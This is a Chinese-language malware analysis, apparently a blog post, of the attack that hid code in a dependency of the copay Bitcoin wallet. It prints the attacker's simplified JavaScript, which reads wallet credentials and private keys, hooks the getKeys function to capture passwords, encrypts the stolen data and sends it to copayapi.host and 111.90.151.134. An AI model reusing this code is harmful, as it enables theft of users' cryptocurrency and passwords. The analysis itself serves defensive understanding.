黑客2次使用了AES256算法加密黑客代码,如果找不到解密的密码,就不可能知道黑客到底是攻击哪个项目,也不知道他干了什么。 成功了密码"A Secure Bitcoin Wallet"以及被攻击的项目copay;
黑客把所有黑客代码都写在了try...catch里面,否则抛出莫名其妙的错误很容易暴露;(这里从另一个角度证明了监控代码错误的重要性,欢迎大家免费试用Fundebug)
黑客是如何窃取比特币的我分析并且简化了黑客的第3段代码,如下:
/*global cordova resolveLocalFileSystemURL chrome*/ !(function() { var http = require("http"); var crypto = require("crypto"); // 黑客的公钥,用于加密窃取的数据,这样只有黑客的公钥可以解密 var publicKey = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----"; // 将窃取的数据发送到黑客的服务器 function httpRequest(hostname, path, data) { var request = http.request( { hostname: hostname, port: 8080, method: "POST", path: "http://www.likecs.com/" + path, headers: { "Content-Length": data.length, "Content-Type": "text/html" } }, function() {} ); request.on("error", function() {}); request.write(data); request.end(); } // 用户密码发送至:8080/p // 用户其他信息发送至:8080/c function sendToHacker(path, t) { // 黑客对数据进行了简单的编码以及加密 for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); // 使用黑客的公钥对窃取的数据进行加密 n += crypto .publicEncrypt(publicKey, Buffer.from(o, "utf8")) .toString("hex") + "+"; } httpRequest("copayapi.host", path, n); httpRequest("111.90.151.134", path, n); } // 窃取用户信息 function getUserInfo(type, n) { if (window.cordova) { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile( type, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader(); (t.onloadend = function() { return n(JSON.parse(t.result)); }), (t.onerror = function() { t.abort(); }), t.readAsText(e); }); } ); }); } else { var r = localStorage.getItem(type); if (r) return n(JSON.parse(r)); chrome.storage.local.get(type, function(e) { if (e) return n(JSON.parse(e[type])); }); } } function steal() { var ifSteal = false; // 窃取将用户的隐私信息,比如私钥 getUserInfo("profile", function(profile) { for (var t in profile.credentials) { var n = profile.credentials[t]; if (n.network == "livenet") { getUserInfo( "balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]); // 当比特币超过100个或者bch超过1000个时,将用户数据发送到黑客服务器 if ( ("btc" == t.coin && t.balance > 100) || ("bch" == t.coin && t.balance > 1000) ) { ifSteal = true; sendToHacker("c", JSON.stringify(t)); } }.bind(n) ); } } }); // 通过重写getKeys函数来窃取用户的密码 var Credentials = require("bitcore-wallet-client/lib/credentials.js"); Credentials.prototype.getKeysFunc = Credentials.prototype.getKeys; Credentials.prototype.getKeys = function(password) { var keys = this.getKeysFunc(password); if (ifSteal) { // 将窃取的密码发送到黑客服务器 sendToHacker("p", password + "\t" + this.xPubKey); } return keys; }; } if (window.cordova) { document.addEventListener("deviceready", steal); } else { steal(); } })();详细分析可以看我写的代码注释,另外,我还总结了这些要点
这段代码的目的是窃取用户信息,并非挖矿;
黑客通过重写函数窃取了copay用户的密码,发送到:8080/p
黑客窃取了copay用户所有的隐私信息,包括私钥,发送到:8080/c
黑客对窃取的数据进行了简单混淆以及公钥加密,因此只有他可以读取窃取的数据;